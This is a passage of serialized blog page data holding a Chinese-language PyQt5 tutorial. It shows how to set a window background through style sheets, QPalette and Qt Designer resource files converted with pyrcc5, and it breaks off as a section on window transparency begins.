20250827105822","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827105822.png",[],{"type":18,"tag":34,"props":68068,"children":68069},{},[68070,68072,68077],{"type":24,"value":68071},"在存放完图片文件后，接下来就可以使用",{"type":18,"tag":74,"props":68073,"children":68075},{"className":68074},[],[68076],{"type":24,"value":67888},{"type":24,"value":68078},"设置窗口的背景图片了，代码如下：",{"type":18,"tag":287,"props":68080,"children":68082},{"code":68081,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setStyleSheet(\"#MainWindow{border-image:url(images\u002FBG哪吒.png)}\")  # 设置背景图片\n",[68083],{"type":18,"tag":74,"props":68084,"children":68085},{"__ignoreMap":8},[68086],{"type":18,"tag":297,"props":68087,"children":68088},{"class":299,"line":300},[68089],{"type":18,"tag":297,"props":68090,"children":68091},{},[68092],{"type":24,"value":68081},{"type":18,"tag":34,"props":68094,"children":68095},{},[68096],{"type":24,"value":53909},{"type":18,"tag":34,"props":68098,"children":68099},{},[68100],{"type":18,"tag":54,"props":68101,"children":68104},{"alt":68102,"src":68103},"Pasted image 20250827110134","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827110134.png",[],{"type":18,"tag":96,"props":68106,"children":68107},{},[68108,68145],{"type":18,"tag":34,"props":68109,"children":68110},{},[68111,68115,68117,68122,68124,68129,68131,68137,68139,68144],{"type":18,"tag":105,"props":68112,"children":68113},{},[68114],{"type":24,"value":33435},{"type":24,"value":68116}," 说明\n除了在",{"type":18,"tag":74,"props":68118,"children":68120},{"className":68119},[],[68121],{"type":24,"value":67888},{"type":24,"value":68123},"中使用",{"type":18,"tag":74,"props":68125,"children":68127},{"className":68126},[],[68128],{"type":24,"value":67915},{"type":24,"value":68130},"方式设置窗口的背景图片外，还可以使用",{"type":18,"tag":74,"props":68132,"children":68134},{"className":68133},[],[68135],{"type":24,"value":68136},"background-image",{"type":24,"value":68138},"方式设置，但",{"type":18,"tag":105,"props":68140,"children":68141},{},[68142],{"type":24,"value":68143},"这种方式设置的背景图片会平铺显示",{"type":24,"value":48645},{"type":18,"tag":287,"props":68146,"children":68148},{"code":68147,"language":28712,"meta":8,"className":28710,"style":8},"# 设置背景图片  \nMainWindow.setStyleSheet(\"#MainWindow{background-image:url(images\u002FBG哪吒.png)}\")\n",[68149],{"type":18,"tag":74,"props":68150,"children":68151},{"__ignoreMap":8},[68152,68159],{"type":18,"tag":297,"props":68153,"children":68154},{"class":299,"line":300},[68155],{"type":18,"tag":297,"props":68156,"children":68157},{},[68158],{"type":24,"value":62660},{"type":18,"tag":297,"props":68160,"children":68161},{"class":299,"line":657},[68162],{"type":18,"tag":297,"props":68163,"children":68164},{},[68165],{"type":24,"value":68166},"MainWindow.setStyleSheet(\"#MainWindow{background-image:url(images\u002FBG哪吒.png)}\")\n",{"type":18,"tag":34,"props":68168,"children":68169},{},[68170,68171,68176],{"type":24,"value":35582},{"type":18,"tag":74,"props":68172,"children":68174},{"className":68173},[],[68175],{"type":24,"value":68136},{"type":24,"value":68177},"方式设置的窗口背景图片效果如图所示。",{"type":18,"tag":34,"props":68179,"children":68180},{},[68181],{"type":18,"tag":54,"props":68182,"children":68185},{"alt":68183,"src":68184},"Pasted image 20250827110506","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827110506.png",[],{"type":18,"tag":337,"props":68187,"children":68189},{"id":68188},"_2使用qpalette设置窗口背景",[68190,68192,68197],{"type":24,"value":68191},"2）使用",{"type":18,"tag":74,"props":68193,"children":68195},{"className":68194},[],[68196],{"type":24,"value":62443},{"type":24,"value":67890},{"type":18,"tag":34,"props":68199,"children":68200},{},[68201,68206,68208,68213,68215,68220,68221,68227,68229,68234,68236,68242,68243,68248,68250,68255,68256,68262,68264,68269],{"type":18,"tag":74,"props":68202,"children":68204},{"className":68203},[],[68205],{"type":24,"value":62443},{"type":24,"value":68207},"类是PyQt5中提供的一个调色板，专门用于管理控件的外观显示，每个窗口和控件都包含一个",{"type":18,"tag":74,"props":68209,"children":68211},{"className":68210},[],[68212],{"type":24,"value":62443},{"type":24,"value":68214},"对象。通过",{"type":18,"tag":74,"props":68216,"children":68218},{"className":68217},[],[68219],{"type":24,"value":62443},{"type":24,"value":60508},{"type":18,"tag":74,"props":68222,"children":68224},{"className":68223},[],[68225],{"type":24,"value":68226},"setColor()函数",{"type":24,"value":68228},"可以",{"type":18,"tag":105,"props":68230,"children":68231},{},[68232],{"type":24,"value":68233},"设置颜色",{"type":24,"value":68235},"，而通过该对象的",{"type":18,"tag":74,"props":68237,"children":68239},{"className":68238},[],[68240],{"type":24,"value":68241},"setBrush()函数",{"type":24,"value":68228},{"type":18,"tag":105,"props":68244,"children":68245},{},[68246],{"type":24,"value":68247},"设置图片",{"type":24,"value":68249},"，最后使用",{"type":18,"tag":74,"props":68251,"children":68253},{"className":68252},[],[68254],{"type":24,"value":54053},{"type":24,"value":60508},{"type":18,"tag":74,"props":68257,"children":68259},{"className":68258},[],[68260],{"type":24,"value":68261},"setPalette()函数",{"type":24,"value":68263},"即可",{"type":18,"tag":105,"props":68265,"children":68266},{},[68267],{"type":24,"value":68268},"为窗口设置背景图片或者背景",{"type":24,"value":111},{"type":18,"tag":34,"props":68271,"children":68272},{},[68273,68274,68279],{"type":24,"value":35582},{"type":18,"tag":74,"props":68275,"children":68277},{"className":68276},[],[68278],{"type":24,"value":62443},{"type":24,"value":68280},"对象为窗口设置背景颜色的代码如下：",{"type":18,"tag":287,"props":68282,"children":68284},{"code":68283,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setObjectName(\"MainWindow\")  \npalette = QtGui.QPalette()  \npalette.setColor(QtGui.QPalette.Background, Qt.red)  \nMainWindow.setPalette(palette)\n",[68285],{"type":18,"tag":74,"props":68286,"children":68287},{"__ignoreMap":8},[68288,68296,68304,68312],{"type":18,"tag":297,"props":68289,"children":68290},{"class":299,"line":300},[68291],{"type":18,"tag":297,"props":68292,"children":68293},{},[68294],{"type":24,"value":68295},"MainWindow.setObjectName(\"MainWindow\")  \n",{"type":18,"tag":297,"props":68297,"children":68298},{"class":299,"line":657},[68299],{"type":18,"tag":297,"props":68300,"children":68301},{},[68302],{"type":24,"value":68303},"palette = QtGui.QPalette()  \n",{"type":18,"tag":297,"props":68305,"children":68306},{"class":299,"line":662},[68307],{"type":18,"tag":297,"props":68308,"children":68309},{},[68310],{"type":24,"value":68311},"palette.setColor(QtGui.QPalette.Background, Qt.red)  \n",{"type":18,"tag":297,"props":68313,"children":68314},{"class":299,"line":799},[68315],{"type":18,"tag":297,"props":68316,"children":68317},{},[68318],{"type":24,"value":68319},"MainWindow.setPalette(palette)\n",{"type":18,"tag":96,"props":68321,"children":68322},{},[68323,68348],{"type":18,"tag":34,"props":68324,"children":68325},{},[68326,68330,68332,68338,68340,68346],{"type":18,"tag":105,"props":68327,"children":68328},{},[68329],{"type":24,"value":33382},{"type":24,"value":68331}," 注意\n使用",{"type":18,"tag":74,"props":68333,"children":68335},{"className":68334},[],[68336],{"type":24,"value":68337},"Qt.red",{"type":24,"value":68339},"时，需要使用下面的代码导入",{"type":18,"tag":74,"props":68341,"children":68343},{"className":68342},[],[68344],{"type":24,"value":68345},"Qt",{"type":24,"value":68347},"模块：",{"type":18,"tag":287,"props":68349,"children":68351},{"code":68350,"language":28712,"meta":8,"className":28710,"style":8},"from PyQt5.QtCore import Qt\n",[68352],{"type":18,"tag":74,"props":68353,"children":68354},{"__ignoreMap":8},[68355],{"type":18,"tag":297,"props":68356,"children":68357},{"class":299,"line":300},[68358],{"type":18,"tag":297,"props":68359,"children":68360},{},[68361],{"type":24,"value":68350},{"type":18,"tag":34,"props":68363,"children":68364},{},[68365,68367,68372],{"type":24,"value":68366},"运行效果与使用",{"type":18,"tag":74,"props":68368,"children":68370},{"className":68369},[],[68371],{"type":24,"value":67888},{"type":24,"value":68373},"设置窗口背景颜色的效果一样，如下图所示。",{"type":18,"tag":34,"props":68375,"children":68376},{},[68377],{"type":18,"tag":54,"props":68378,"children":68381},{"alt":68379,"src":68380},"Pasted image 20250827111304","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827111304.png",[],{"type":18,"tag":34,"props":68383,"children":68384},{},[68385,68386,68391],{"type":24,"value":35582},{"type":18,"tag":74,"props":68387,"children":68389},{"className":68388},[],[68390],{"type":24,"value":62443},{"type":24,"value":68392},"对象为窗口设置背景图片的代码如下：",{"type":18,"tag":287,"props":68394,"children":68396},{"code":68395,"language":28712,"meta":8,"className":28710,"style":8},"# 使用QPalette设置窗口背景图片  \npalette = QtGui.QPalette()  \npalette.setBrush(QtGui.QPalette.Background, QBrush(QPixmap(\".\u002Fimages\u002FBG哪吒.png\")))  \nMainWindow.setPalette(palette)\n",[68397],{"type":18,"tag":74,"props":68398,"children":68399},{"__ignoreMap":8},[68400,68408,68415,68423],{"type":18,"tag":297,"props":68401,"children":68402},{"class":299,"line":300},[68403],{"type":18,"tag":297,"props":68404,"children":68405},{},[68406],{"type":24,"value":68407},"# 使用QPalette设置窗口背景图片  \n",{"type":18,"tag":297,"props":68409,"children":68410},{"class":299,"line":657},[68411],{"type":18,"tag":297,"props":68412,"children":68413},{},[68414],{"type":24,"value":68303},{"type":18,"tag":297,"props":68416,"children":68417},{"class":299,"line":662},[68418],{"type":18,"tag":297,"props":68419,"children":68420},{},[68421],{"type":24,"value":68422},"palette.setBrush(QtGui.QPalette.Background, QBrush(QPixmap(\".\u002Fimages\u002FBG哪吒.png\")))  \n",{"type":18,"tag":297,"props":68424,"children":68425},{"class":299,"line":799},[68426],{"type":18,"tag":297,"props":68427,"children":68428},{},[68429],{"type":24,"value":68319},{"type":18,"tag":96,"props":68431,"children":68432},{},[68433,68456],{"type":18,"tag":34,"props":68434,"children":68435},{},[68436,68440,68442,68448,68449,68454],{"type":18,"tag":105,"props":68437,"children":68438},{},[68439],{"type":24,"value":33382},{"type":24,"value":68441}," 注意\n在上面代码中用到了",{"type":18,"tag":74,"props":68443,"children":68445},{"className":68444},[],[68446],{"type":24,"value":68447},"QBrush",{"type":24,"value":10315},{"type":18,"tag":74,"props":68450,"children":68452},{"className":68451},[],[68453],{"type":24,"value":56403},{"type":24,"value":68455},"，因此需要进行导入，代码如下：",{"type":18,"tag":287,"props":68457,"children":68459},{"code":68458,"language":28712,"meta":8,"className":28710,"style":8},"from PyQt5.QtGui import QBrush,QPixmap\n",[68460],{"type":18,"tag":74,"props":68461,"children":68462},{"__ignoreMap":8},[68463],{"type":18,"tag":297,"props":68464,"children":68465},{"class":299,"line":300},[68466],{"type":18,"tag":297,"props":68467,"children":68468},{},[68469],{"type":24,"value":68458},{"type":18,"tag":34,"props":68471,"children":68472},{},[68473,68474,68479],{"type":24,"value":35582},{"type":18,"tag":74,"props":68475,"children":68477},{"className":68476},[],[68478],{"type":24,"value":62443},{"type":24,"value":68480},"对象为窗口设置背景图片的效果如图所示。",{"type":18,"tag":34,"props":68482,"children":68483},{},[68484],{"type":18,"tag":54,"props":68485,"children":68488},{"alt":68486,"src":68487},"Pasted image 20250827111658","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827111658.png",[],{"type":18,"tag":96,"props":68490,"children":68491},{},[68492,68559],{"type":18,"tag":34,"props":68493,"children":68494},{},[68495,68499,68501,68506,68508,68513,68515,68521,68522,68527,68529,68534,68536,68542,68543,68549,68551,68557],{"type":18,"tag":105,"props":68496,"children":68497},{},[68498],{"type":24,"value":44648},{"type":24,"value":68500}," 多学两招\n观察上图，会发现背景图片没有显示全，这是因为在使用",{"type":18,"tag":74,"props":68502,"children":68504},{"className":68503},[],[68505],{"type":24,"value":62443},{"type":24,"value":68507},"对象为窗口设置背景图片时，",{"type":18,"tag":105,"props":68509,"children":68510},{},[68511],{"type":24,"value":68512},"默认是平铺显示",{"type":24,"value":68514},"的，那么如何使背景图片能够自动适应窗口的大小呢？这就需要在设置背景时，对",{"type":18,"tag":74,"props":68516,"children":68518},{"className":68517},[],[68519],{"type":24,"value":68520},"setBrush()方法",{"type":24,"value":67360},{"type":18,"tag":74,"props":68523,"children":68525},{"className":68524},[],[68526],{"type":24,"value":56403},{"type":24,"value":68528},"对象参数进行设置，具体设置方法是：在生成",{"type":18,"tag":74,"props":68530,"children":68532},{"className":68531},[],[68533],{"type":24,"value":56403},{"type":24,"value":68535},"窗口背景图对象参数时，使用",{"type":18,"tag":74,"props":68537,"children":68539},{"className":68538},[],[68540],{"type":24,"value":68541},"窗口大小",{"type":24,"value":1942},{"type":18,"tag":74,"props":68544,"children":68546},{"className":68545},[],[68547],{"type":24,"value":68548},"QtCore.Qt.IgnoreAspectRatio",{"type":24,"value":68550},"值和",{"type":18,"tag":74,"props":68552,"children":68554},{"className":68553},[],[68555],{"type":24,"value":68556},"QtCore.Qt.SmoothTransformation",{"type":24,"value":68558},"值进行设置。关键代码如下：",{"type":18,"tag":287,"props":68560,"children":68562},{"code":68561,"language":28712,"meta":8,"className":28710,"style":8},"# 使用QPalette设置窗口背景图片(自动适应窗口大小)  \n",[68563],{"type":18,"tag":74,"props":68564,"children":68565},{"__ignoreMap":8},[68566],{"type":18,"tag":297,"props":68567,"children":68568},{"class":299,"line":300},[68569],{"type":18,"tag":297,"props":68570,"children":68571},{},[68572],{"type":24,"value":68573},"# 使用QPalette设置窗口背景图片(自动适应窗口大小)\n",{"type":18,"tag":34,"props":68575,"children":68576},{},[68577,68579,68582],{"type":24,"value":68578},"palette = QtGui.QPalette()",{"type":18,"tag":6882,"props":68580,"children":68581},{},[],{"type":24,"value":68583},"\npalette.setBrush(MainWindow.backgroundRole(), QBrush(QPixmap(\".\u002Fimages\u002FBG哪吒.png\").scaled(MainWindow.size(), QtCore.Qt.IgnoreAspectRatio,QtCore.Qt.SmoothTransformation)))",{"type":18,"tag":96,"props":68585,"children":68586},{},[68587,68592],{"type":18,"tag":34,"props":68588,"children":68589},{},[68590],{"type":24,"value":68591},"MainWindow.setPalette(palette)",{"type":18,"tag":287,"props":68593,"children":68594},{"code":8},[68595],{"type":18,"tag":74,"props":68596,"children":68597},{"__ignoreMap":8},[68598],{"type":24,"value":8},{"type":18,"tag":34,"props":68600,"children":68601},{},[68602],{"type":24,"value":68603},"运行程序，效果如图所示，对比上图，可以看到下图中的背景图片自动适应了窗口大小。",{"type":18,"tag":34,"props":68605,"children":68606},{},[68607],{"type":18,"tag":54,"props":68608,"children":68611},{"alt":68609,"src":68610},"Pasted image 20250827112506","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827112506.png",[],{"type":18,"tag":337,"props":68613,"children":68615},{"id":68614},"_3通过资源文件设置窗口背景",[68616],{"type":24,"value":68617},"3）通过资源文件设置窗口背景",{"type":18,"tag":34,"props":68619,"children":68620},{},[68621],{"type":24,"value":68622},"除了以上两种设置窗口背景的方式，PyQt5还推荐使用资源文件的方式对窗口背景进行设置，下面介绍具体的实现过程：",{"type":18,"tag":34,"props":68624,"children":68625},{},[68626],{"type":24,"value":68627},"1）在Qt Designer创建并使用资源文件，即在Qt Designer工具中设计程序界面时，可以通过资源浏览器添加图片或图标等资源。",{"type":18,"tag":34,"props":68629,"children":68630},{},[68631,68633,68639,68641,68647],{"type":24,"value":68632},"2）在Python的项目路径中创建一个名称为",{"type":18,"tag":74,"props":68634,"children":68636},{"className":68635},[],[68637],{"type":24,"value":68638},"images",{"type":24,"value":68640},"的文件夹，然后将需要测试的图片保存在该文件夹当中，打开Qt Designer工具，在右下角的资源浏览器中单击",{"type":18,"tag":74,"props":68642,"children":68644},{"className":68643},[],[68645],{"type":24,"value":68646},"编辑资源",{"type":24,"value":68648},"的按钮，如图所示。",{"type":18,"tag":34,"props":68650,"children":68651},{},[68652],{"type":18,"tag":54,"props":68653,"children":68656},{"alt":68654,"src":68655},"Pasted image 20250827113128","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827113128.png",[],{"type":18,"tag":34,"props":68658,"children":68659},{},[68660,68662,68667,68669,68675],{"type":24,"value":68661},"3）在弹出的",{"type":18,"tag":74,"props":68663,"children":68665},{"className":68664},[],[68666],{"type":24,"value":68646},{"type":24,"value":68668},"对话框中，单击左下角的第一个",{"type":18,"tag":74,"props":68670,"children":68672},{"className":68671},[],[68673],{"type":24,"value":68674},"新建资源文件",{"type":24,"value":60177},{"type":18,"tag":34,"props":68677,"children":68678},{},[68679],{"type":18,"tag":54,"props":68680,"children":68683},{"alt":68681,"src":68682},"Pasted image 20250827113217","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827113217.png",[],{"type":18,"tag":34,"props":68685,"children":68686},{},[68687,68688,68693,68695,68700,68702,68708,68710,68715],{"type":24,"value":63466},{"type":18,"tag":74,"props":68689,"children":68691},{"className":68690},[],[68692],{"type":24,"value":68674},{"type":24,"value":68694},"的对话框中，选择该资源文件保存的路径为当前Python项目的路径，然后设置文件名称为",{"type":18,"tag":74,"props":68696,"children":68698},{"className":68697},[],[68699],{"type":24,"value":54},{"type":24,"value":68701},"，保存类型为",{"type":18,"tag":74,"props":68703,"children":68705},{"className":68704},[],[68706],{"type":24,"value":68707},"资源文件（*.qrc）",{"type":24,"value":68709},"，最后单击",{"type":18,"tag":74,"props":68711,"children":68713},{"className":68712},[],[68714],{"type":24,"value":60968},{"type":24,"value":60177},{"type":18,"tag":34,"props":68717,"children":68718},{},[68719],{"type":18,"tag":54,"props":68720,"children":68723},{"alt":68721,"src":68722},"Pasted image 20250827113520","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827113520.png",[],{"type":18,"tag":34,"props":68725,"children":68726},{},[68727,68729,68734,68736,68741,68743,68749,68751,68757,68759,68765],{"type":24,"value":68728},"5）单击",{"type":18,"tag":74,"props":68730,"children":68732},{"className":68731},[],[68733],{"type":24,"value":60968},{"type":24,"value":68735},"按钮后，将自动返回至",{"type":18,"tag":74,"props":68737,"children":68739},{"className":68738},[],[68740],{"type":24,"value":68646},{"type":24,"value":68742},"对话框中，然后在该对话框中选择",{"type":18,"tag":74,"props":68744,"children":68746},{"className":68745},[],[68747],{"type":24,"value":68748},"添加前缀",{"type":24,"value":68750},"按钮，设置前缀为",{"type":18,"tag":74,"props":68752,"children":68754},{"className":68753},[],[68755],{"type":24,"value":68756},"png",{"type":24,"value":68758},"，再单击",{"type":18,"tag":74,"props":68760,"children":68762},{"className":68761},[],[68763],{"type":24,"value":68764},"添加文件",{"type":24,"value":60177},{"type":18,"tag":34,"props":68767,"children":68768},{},[68769],{"type":18,"tag":54,"props":68770,"children":68773},{"alt":68771,"src":68772},"Pasted image 20250827113910","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827113910.png",[],{"type":18,"tag":34,"props":68775,"children":68776},{},[68777,68779,68784,68786,68791],{"type":24,"value":68778},"6）在",{"type":18,"tag":74,"props":68780,"children":68782},{"className":68781},[],[68783],{"type":24,"value":68764},{"type":24,"value":68785},"的对话框中选择需要添加的图片文件，然后单击",{"type":18,"tag":74,"props":68787,"children":68789},{"className":68788},[],[68790],{"type":24,"value":60645},{"type":24,"value":68792},"按钮即可，如图所示。",{"type":18,"tag":34,"props":68794,"children":68795},{},[68796],{"type":18,"tag":54,"props":68797,"children":68800},{"alt":68798,"src":68799},"Pasted image 20250827114006","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827114006.png",[],{"type":18,"tag":34,"props":68802,"children":68803},{},[68804,68806,68811,68813,68818],{"type":24,"value":68805},"7）图片添加完成以后，将自动返回至",{"type":18,"tag":74,"props":68807,"children":68809},{"className":68808},[],[68810],{"type":24,"value":68646},{"type":24,"value":68812},"的对话框，在该对话框中直接单击",{"type":18,"tag":74,"props":68814,"children":68816},{"className":68815},[],[68817],{"type":24,"value":8505},{"type":24,"value":68819},"按钮即可，然后资源浏览器将显示添加的图片资源，如图所示的效果。",{"type":18,"tag":34,"props":68821,"children":68822},{},[68823],{"type":18,"tag":54,"props":68824,"children":68827},{"alt":68825,"src":68826},"Pasted image 20250827114306","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827114306.png",[],{"type":18,"tag":96,"props":68829,"children":68830},{},[68831],{"type":18,"tag":34,"props":68832,"children":68833},{},[68834,68838],{"type":18,"tag":105,"props":68835,"children":68836},{},[68837],{"type":24,"value":33435},{"type":24,"value":68839}," 说明\n设置的前缀，是自己定义的路径前缀，用于区分不同的资源文件。",{"type":18,"tag":34,"props":68841,"children":68842},{},[68843,68845,68850],{"type":24,"value":68844},"8）选中设计窗口，找到",{"type":18,"tag":74,"props":68846,"children":68848},{"className":68847},[],[68849],{"type":24,"value":67243},{"type":24,"value":68851},"属性，单击右面的三个点按钮，如图所示。",{"type":18,"tag":34,"props":68853,"children":68854},{},[68855],{"type":18,"tag":54,"props":68856,"children":68859},{"alt":68857,"src":68858},"Pasted image 20250827114455","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827114455.png",[],{"type":18,"tag":34,"props":68861,"children":68862},{},[68863,68865,68871,68873,68879,68881,68886],{"type":24,"value":68864},"9）接着弹出",{"type":18,"tag":74,"props":68866,"children":68868},{"className":68867},[],[68869],{"type":24,"value":68870},"编辑样式表",{"type":24,"value":68872},"对话框，该对话框中，单击",{"type":18,"tag":74,"props":68874,"children":68876},{"className":68875},[],[68877],{"type":24,"value":68878},"添加资源",{"type":24,"value":68880},"后面的向下箭头，在弹出的菜单中选择",{"type":18,"tag":74,"props":68882,"children":68884},{"className":68883},[],[68885],{"type":24,"value":67915},{"type":24,"value":56959},{"type":18,"tag":34,"props":68888,"children":68889},{},[68890],{"type":18,"tag":54,"props":68891,"children":68894},{"alt":68892,"src":68893},"Pasted image 20250827115417","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827115417.png",[],{"type":18,"tag":34,"props":68896,"children":68897},{},[68898,68900,68906,68908,68913],{"type":24,"value":68899},"10）然后弹出",{"type":18,"tag":74,"props":68901,"children":68903},{"className":68902},[],[68904],{"type":24,"value":68905},"选择资源",{"type":24,"value":68907},"对话框，该对话框中选择创建好的资源，单击",{"type":18,"tag":74,"props":68909,"children":68911},{"className":68910},[],[68912],{"type":24,"value":8505},{"type":24,"value":60177},{"type":18,"tag":34,"props":68915,"children":68916},{},[68917],{"type":18,"tag":54,"props":68918,"children":68921},{"alt":68919,"src":68920},"Pasted image 20250827115530","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827115530.png",[],{"type":18,"tag":34,"props":68923,"children":68924},{},[68925,68927,68932,68934,68939],{"type":24,"value":68926},"11）返回",{"type":18,"tag":74,"props":68928,"children":68930},{"className":68929},[],[68931],{"type":24,"value":68870},{"type":24,"value":68933},"对话框，在该对话框中可以看到自动生成的代码，单击",{"type":18,"tag":74,"props":68935,"children":68937},{"className":68936},[],[68938],{"type":24,"value":8505},{"type":24,"value":68792},{"type":18,"tag":34,"props":68941,"children":68942},{},[68943],{"type":18,"tag":54,"props":68944,"children":68947},{"alt":68945,"src":68946},"Pasted image 20250827115613","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827115613.png",[],{"type":18,"tag":34,"props":68949,"children":68950},{},[68951],{"type":24,"value":68952},"12）转换资源文件",{"type":18,"tag":34,"props":68954,"children":68955},{},[68956,68958,68964,68966,68971,68972,68977,68979,68984],{"type":24,"value":68957},"在Qt Designer中设计好窗口（该窗口中使用了",{"type":18,"tag":74,"props":68959,"children":68961},{"className":68960},[],[68962],{"type":24,"value":68963},".qrc",{"type":24,"value":68965},"资源文件）之后，将已经设计好的",{"type":18,"tag":74,"props":68967,"children":68969},{"className":68968},[],[68970],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":68973,"children":68975},{"className":68974},[],[68976],{"type":24,"value":42560},{"type":24,"value":68978},"文件，但是转换后的",{"type":18,"tag":74,"props":68980,"children":68982},{"className":68981},[],[68983],{"type":24,"value":42560},{"type":24,"value":68985},"文件的代码中会显示如图所示的提示信息。",{"type":18,"tag":34,"props":68987,"children":68988},{},[68989],{"type":18,"tag":54,"props":68990,"children":68993},{"alt":68991,"src":68992},"Pasted image 20250827115913","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827115913.png",[],{"type":18,"tag":34,"props":68995,"children":68996},{},[68997,68999,69005,69007,69013,69015,69020],{"type":24,"value":68998},"图中的提示信息说明",{"type":18,"tag":74,"props":69000,"children":69002},{"className":69001},[],[69003],{"type":24,"value":69004},"img_rc",{"type":24,"value":69006},"模块导入出现异常，所以此处需要将已经创建好的",{"type":18,"tag":74,"props":69008,"children":69010},{"className":69009},[],[69011],{"type":24,"value":69012},"img.qrc",{"type":24,"value":69014},"资源文件转换为",{"type":18,"tag":74,"props":69016,"children":69018},{"className":69017},[],[69019],{"type":24,"value":42560},{"type":24,"value":69021},"文件，这样在设计窗口中才可以正常使用，资源文件转换的具体步骤如下：",{"type":18,"tag":210,"props":69023,"children":69024},{},[69025],{"type":18,"tag":158,"props":69026,"children":69027},{},[69028,69029,69034,69036,69042],{"type":24,"value":9086},{"type":18,"tag":43,"props":69030,"children":69031},{"href":61281},[69032],{"type":24,"value":69033},"PyQt5-环境搭建",{"type":24,"value":69035}," 中已搭建好资源文件转化工具",{"type":18,"tag":74,"props":69037,"children":69039},{"className":69038},[],[69040],{"type":24,"value":69041},"Pyrcc",{"type":24,"value":69043},"，接下来将使用它进行资源文件转化。",{"type":18,"tag":96,"props":69045,"children":69046},{},[69047],{"type":18,"tag":34,"props":69048,"children":69049},{},[69050,69054,69056,69062,69064,69070,69072,69077],{"type":18,"tag":105,"props":69051,"children":69052},{},[69053],{"type":24,"value":33382},{"type":24,"value":69055}," 注意\n选择的",{"type":18,"tag":74,"props":69057,"children":69059},{"className":69058},[],[69060],{"type":24,"value":69061},"pyrcc5.exe",{"type":24,"value":69063},"文件位于Python安装目录下的",{"type":18,"tag":74,"props":69065,"children":69067},{"className":69066},[],[69068],{"type":24,"value":69069},"Scripts",{"type":24,"value":69071},"文件夹中，如果选择当前项目的虚拟环境路径下的",{"type":18,"tag":74,"props":69073,"children":69075},{"className":69074},[],[69076],{"type":24,"value":69061},{"type":24,"value":69078},"文件，有可能会出现无法转换资源文件的问题，所以这里一定要注意。",{"type":18,"tag":210,"props":69080,"children":69081},{},[69082],{"type":18,"tag":158,"props":69083,"children":69084},{},[69085,69087,69092,69094,69100,69102,69108,69110,69115,69117,69122,69124,69129],{"type":24,"value":69086},"转换资源文件的快捷工具创建完成以后，单击鼠标左键选中需要转换的",{"type":18,"tag":74,"props":69088,"children":69090},{"className":69089},[],[69091],{"type":24,"value":68963},{"type":24,"value":69093},"文件，然后在菜单栏中依次单击",{"type":18,"tag":74,"props":69095,"children":69097},{"className":69096},[],[69098],{"type":24,"value":69099},"Tools",{"type":24,"value":69101}," → ",{"type":18,"tag":74,"props":69103,"children":69105},{"className":69104},[],[69106],{"type":24,"value":69107},"External Tools",{"type":24,"value":69109}," → ",{"type":18,"tag":74,"props":69111,"children":69113},{"className":69112},[],[69114],{"type":24,"value":69041},{"type":24,"value":69116},"菜单，即可在",{"type":18,"tag":74,"props":69118,"children":69120},{"className":69119},[],[69121],{"type":24,"value":68963},{"type":24,"value":69123},"文件的下面自动生成对应的",{"type":18,"tag":74,"props":69125,"children":69127},{"className":69126},[],[69128],{"type":24,"value":42560},{"type":24,"value":62136},{"type":18,"tag":34,"props":69131,"children":69132},{},[69133],{"type":18,"tag":54,"props":69134,"children":69137},{"alt":69135,"src":69136},"Pasted image 20250827121213","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827121213.png",[],{"type":18,"tag":210,"props":69139,"children":69140},{},[69141],{"type":18,"tag":158,"props":69142,"children":69143},{},[69144,69146,69151,69152,69158],{"type":24,"value":69145},"文件转换完以后，提示的报错信息即可消失，然后添加程序入口，并在其中通过",{"type":18,"tag":74,"props":69147,"children":69149},{"className":69148},[],[69150],{"type":24,"value":54053},{"type":24,"value":60508},{"type":18,"tag":74,"props":69153,"children":69155},{"className":69154},[],[69156],{"type":24,"value":69157},"show()函数",{"type":24,"value":69159},"来显示主窗口，运行效果如图。",{"type":18,"tag":34,"props":69161,"children":69162},{},[69163],{"type":18,"tag":54,"props":69164,"children":69167},{"alt":69165,"src":69166},"Pasted image 20250827121454","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827121454.png",[],{"type":18,"tag":19,"props":69169,"children":69171},{"id":69170},"_4控制窗口透明度",[69172],{"type":24,"value":69173},"4  控制窗口透明度",{"type":18,"tag":121,"props":69175,"children":69176},{},[],{"type":18,"tag":34,"props":69178,"children":69179},{},[69180],{"type":24,"value":69181},"窗口透明度是窗口相对于其他界面的透明显示度，默认为不透明，将窗口透明度设置为0.5则可以成为半透明，对比效果如图所示。",{"type":18,"tag":34,"props":69183,"children":69184},{},[69185],{"type":18,"tag":54,"props":69186,"children":69189},{"alt":69187,"src":69188},"Pasted image 